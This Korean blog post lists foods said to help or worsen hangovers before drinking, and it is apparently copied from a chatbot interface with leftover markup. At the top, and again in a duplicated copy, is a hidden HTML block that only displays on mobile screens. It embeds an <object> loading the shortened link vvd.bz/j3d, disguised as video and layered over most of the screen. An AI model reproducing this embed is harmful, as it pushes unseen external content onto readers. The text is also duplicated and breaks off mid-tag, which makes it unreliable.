음주전 숙취해소음식 도움이 되는 것과 안되는 것!

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">음주 전 숙취 해소에 도움이 되는 음식과 피해야 할 음식</h2><p data-sourcepos="3:1-3:20"><strong>숙취 해소에 도움이 되는 음식</strong></p><ul data-sourcepos="5:1-11:0"> <li data-sourcepos="5:1-5:80"><strong>수분</strong>: 술을 마시기 전 충분한 수분 섭취는 탈수를 예방하고 숙취를 완화하는 데 도움이 됩니다. 물이나 이온 음료를 충분히 마셔주세요.</li> <li data-sourcepos="6:1-6:78"><strong>탄수화물</strong>: 탄수화물은 알코올 흡수를 늦추고 혈당을 안정시키는 데 도움이 됩니다. 밥, 빵, 면 등 적당량의 탄수화물을 섭취하세요.</li> <li data-sourcepos="7:1-7:74"><strong>단백질</strong>: 단백질은 알코올 분해를 돕고 간 기능을 보호하는 데 도움이 됩니다. 살코기, 생선, 달걀, 콩류 등을 섭취하세요.</li> <li data-sourcepos="8:1-8:120"><strong>과일, 채소</strong>: 과일과 채소는 비타민, 미네랄, 항산화 성분이 풍부하여 숙취 해소에 도움이 됩니다. 특히 비타민 C가 풍부한 과일 (오렌지, 귤 등)이나 아스파라긴산이 풍부한 콩나물은 숙취 해소에 좋습니다.</li> <li data-sourcepos="9:1-9:54"><strong>꿀물</strong>: 꿀물은 과당이 풍부하여 알코올 분해를 돕고 혈당을 안정시키는 데 도움이 됩니다.</li> <li data-sourcepos="10:1-11:0"><strong>견과류</strong>: 견과류는 불포화지방산과 비타민 E가 풍부하여 간 기능을 보호하고 숙취를 완화하는 데 도움이 됩니다.</li> </ul><p data-sourcepos="12:1-12:12"><strong>피해야 할 음식</strong></p><ul data-sourcepos="14:1-18:0"> <li data-sourcepos="14:1-14:59"><strong>기름진 음식</strong>: 기름진 음식은 소화를 늦추고 알코올 흡수를 촉진하여 숙취를 악화시킬 수 있습니다.</li> <li data-sourcepos="15:1-15:47"><strong>매운 음식</strong>: 매운 음식은 위 점막을 자극하고 속쓰림을 유발할 수 있습니다.</li> <li data-sourcepos="16:1-16:62"><strong>카페인 음료</strong>: 커피나 에너지 드링크 등 카페인 음료는 탈수를 악화시키고 숙취를 심화시킬 수 있습니다.</li> <li data-sourcepos="17:1-18:0"><strong>과도한 당분</strong>: 과도한 당분 섭취는 혈당 불균형을 초래하고 숙취를 악화시킬 수 있습니다.</li> </ul><p data-sourcepos="19:1-19:8"><strong>주의사항</strong></p><ul data-sourcepos="21:1-24:0"> <li data-sourcepos="21:1-21:46">개인의 체질과 음주량에 따라 숙취 해소에 도움이 되는 음식은 다를 수 있습니다.</li> <li data-sourcepos="22:1-22:29">과음은 건강에 해로우므로 자제하는 것이 좋습니다.</li> <li data-sourcepos="23:1-24:0">숙취가 심할 경우 충분한 휴식을 취하고 병원 진료를 받는 것이 좋습니다.</li> </ul><p data-sourcepos="25:1-25:5"><strong>팁</strong></p><ul data-sourcepos="27:1-29:0"> <li data-sourcepos="27:1-27:50">술을 마시기 전 식사를 하고, 술을 마시는 중간에도 물을 충분히 마시는 것이 좋습니다.</li> <li data-sourcepos="28:1-29:0">술을 마실 때는 천천히, 적당량을 마시는 것이 숙취 예방에 도움이 됩니다.</li> </ul><p data-sourcepos="30:1-30:316"><strong>Disclaimer:</strong> This information is <span class="citation-0 interactive-span-selected-v2">for general knowledge and informational purposes only, and does not constitute medical advice. It is essential to </span><span class="citation-0 citation-1 citation-end-0 interactive-span-selected-v2">consult <source-footnote ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c167435663=""><sup _ngcontent-ng-c167435663="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span><span class="citation-1 citation-end-1 interactive-span-selected-v2">with a qualified healthcare professional for any health concerns or before making any decisions related to your health or treat<source-footnote ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c167435663=""><sup _ngcontent-ng-c167435663="" class="superscript visible highlight" data-turn-source-index="2"> 2 </sup></source-footnote></span>ment.<sources-carousel-inline ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c1604038307=""><span _ngcontent-ng-c1604038307="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted"> &nbsp; <button _ngcontent-ng-c1604038307="" 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jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fce3f34eda01e6e5&quot;,&quot;c_14b1520d1b933d32&quot;,null,&quot;rc_2b8c374c66eb59db&quot;,&quot;https://csrao.net/single?aid=4933&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c1229640534="" class="source-card-body"><div _ngcontent-ng-c1229640534="" class="source-card-header"><div _ngcontent-ng-c1229640534="" class="source-card-title"><span _ngcontent-ng-c1229640534="" class="source-card-title-index ng-star-inserted">1.</span><span _ngcontent-ng-c1229640534="" class="ellipsis clamp-two-lines"> csrao.net </span></div><mat-icon _ngcontent-ng-c1229640534="" role="img" class="mat-icon notranslate gds-icon-l icon-filled source-card-indicator google-symbols mat-ligature-font mat-icon-no-color ng-star-inserted" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="format_quote" fonticon="format_quote"></mat-icon></div></div><span _ngcontent-ng-c1229640534="" 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ng-star-inserted"><recitation-source-card _ngcontent-ng-c2898394728="" _nghost-ng-c881999713="" class="ng-star-inserted"><url-source-card _ngcontent-ng-c881999713="" _nghost-ng-c1229640534="" class="is-recitation ng-star-inserted"><div _ngcontent-ng-c1229640534="" class="source-card-container"><div _ngcontent-ng-c1229640534="" class="source-card-content"><a _ngcontent-ng-c1229640534="" rel="noopener" class="link" s://bangladeshhealthalliance.com/dr-mohammad-kamruzzaman/" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_fce3f34eda01e6e5&quot;,&quot;c_14b1520d1b933d32&quot;,null,&quot;rc_2b8c374c66eb59db&quot;,&quot;https://bangladeshhealthalliance.com/dr-mohammad-kamruzzaman/&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c1229640534="" class="source-card-body"><div _ngcontent-ng-c1229640534="" class="source-card-header"><div _ngcontent-ng-c1229640534="" class="source-card-title"><span _ngcontent-ng-c1229640534="" class="source-card-title-index ng-star-inserted">2.</span><span _ngcontent-ng-c1229640534="" class="ellipsis clamp-two-lines"> bangladeshhealthalliance.com </span></div><mat-icon _ngcontent-ng-c1229640534="" role="img" class="mat-icon notranslate gds-icon-l icon-filled source-card-indicator google-symbols mat-ligature-font mat-icon-no-color ng-star-inserted" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="format_quote" fonticon="format_quote"></mat-icon></div></div><span _ngcontent-ng-c1229640534="" aria-label=""></span></a><div _ngcontent-ng-c1229640534="" class="source-card-footer"><a _ngcontent-ng-c1229640534="" rel="noopener" class="link" s://bangladeshhealthalliance.com/dr-mohammad-kamruzzaman/" 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touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">음주 전 숙취 해소에 도움이 되는 음식과 피해야 할 음식</h2><p data-sourcepos="3:1-3:20"><strong>숙취 해소에 도움이 되는 음식</strong></p><ul data-sourcepos="5:1-11:0"> <li data-sourcepos="5:1-5:80"><strong>수분</strong>: 술을 마시기 전 충분한 수분 섭취는 탈수를 예방하고 숙취를 완화하는 데 도움이 됩니다. 물이나 이온 음료를 충분히 마셔주세요.</li> <li data-sourcepos="6:1-6:78"><strong>탄수화물</strong>: 탄수화물은 알코올 흡수를 늦추고 혈당을 안정시키는 데 도움이 됩니다. 밥, 빵, 면 등 적당량의 탄수화물을 섭취하세요.</li> <li data-sourcepos="7:1-7:74"><strong>단백질</strong>: 단백질은 알코올 분해를 돕고 간 기능을 보호하는 데 도움이 됩니다. 살코기, 생선, 달걀, 콩류 등을 섭취하세요.</li> <li data-sourcepos="8:1-8:120"><strong>과일, 채소</strong>: 과일과 채소는 비타민, 미네랄, 항산화 성분이 풍부하여 숙취 해소에 도움이 됩니다. 특히 비타민 C가 풍부한 과일 (오렌지, 귤 등)이나 아스파라긴산이 풍부한 콩나물은 숙취 해소에 좋습니다.</li> <li data-sourcepos="9:1-9:54"><strong>꿀물</strong>: 꿀물은 과당이 풍부하여 알코올 분해를 돕고 혈당을 안정시키는 데 도움이 됩니다.</li> <li data-sourcepos="10:1-11:0"><strong>견과류</strong>: 견과류는 불포화지방산과 비타민 E가 풍부하여 간 기능을 보호하고 숙취를 완화하는 데 도움이 됩니다.</li> </ul><p data-sourcepos="12:1-12:12"><strong>피해야 할 음식</strong></p><ul data-sourcepos="14:1-18:0"> <li data-sourcepos="14:1-14:59"><strong>기름진 음식</strong>: 기름진 음식은 소화를 늦추고 알코올 흡수를 촉진하여 숙취를 악화시킬 수 있습니다.</li> <li data-sourcepos="15:1-15:47"><strong>매운 음식</strong>: 매운 음식은 위 점막을 자극하고 속쓰림을 유발할 수 있습니다.</li> <li data-sourcepos="16:1-16:62"><strong>카페인 음료</strong>: 커피나 에너지 드링크 등 카페인 음료는 탈수를 악화시키고 숙취를 심화시킬 수 있습니다.</li> <li data-sourcepos="17:1-18:0"><strong>과도한 당분</strong>: 과도한 당분 섭취는 혈당 불균형을 초래하고 숙취를 악화시킬 수 있습니다.</li> </ul><p data-sourcepos="19:1-19:8"><strong>주의사항</strong></p><ul data-sourcepos="21:1-24:0"> <li data-sourcepos="21:1-21:46">개인의 체질과 음주량에 따라 숙취 해소에 도움이 되는 음식은 다를 수 있습니다.</li> <li data-sourcepos="22:1-22:29">과음은 건강에 해로우므로 자제하는 것이 좋습니다.</li> <li data-sourcepos="23:1-24:0">숙취가 심할 경우 충분한 휴식을 취하고 병원 진료를 받는 것이 좋습니다.</li> </ul><p data-sourcepos="25:1-25:5"><strong>팁</strong></p><ul data-sourcepos="27:1-29:0"> <li data-sourcepos="27:1-27:50">술을 마시기 전 식사를 하고, 술을 마시는 중간에도 물을 충분히 마시는 것이 좋습니다.</li> <li data-sourcepos="28:1-29:0">술을 마실 때는 천천히, 적당량을 마시는 것이 숙취 예방에 도움이 됩니다.</li> </ul><p data-sourcepos="30:1-30:316"><strong>Disclaimer:</strong> This information is <span class="citation-0 interactive-span-selected-v2">for general knowledge and informational purposes only, and does not constitute medical advice. It is essential to </span><span class="citation-0 citation-1 citation-end-0 interactive-span-selected-v2">consult <source-footnote ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c167435663=""><sup _ngcontent-ng-c167435663="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span><span class="citation-1 citation-end-1 interactive-span-selected-v2">with a qualified healthcare professional for any health concerns or before making any decisions related to your health or treat<source-footnote ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c167435663=""><sup _ngcontent-ng-c167435663="" class="superscript visible highlight" data-turn-source-index="2"> 2 </sup></source-footnote></span>ment.<sources-carousel-inline ng-version="0.0.0-PLACEHOLDER" _nghost-ng-c1604038307=""><span _ngcontent-ng-c1604038307="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted">   <button _ngcontent-ng-c1604038307="" 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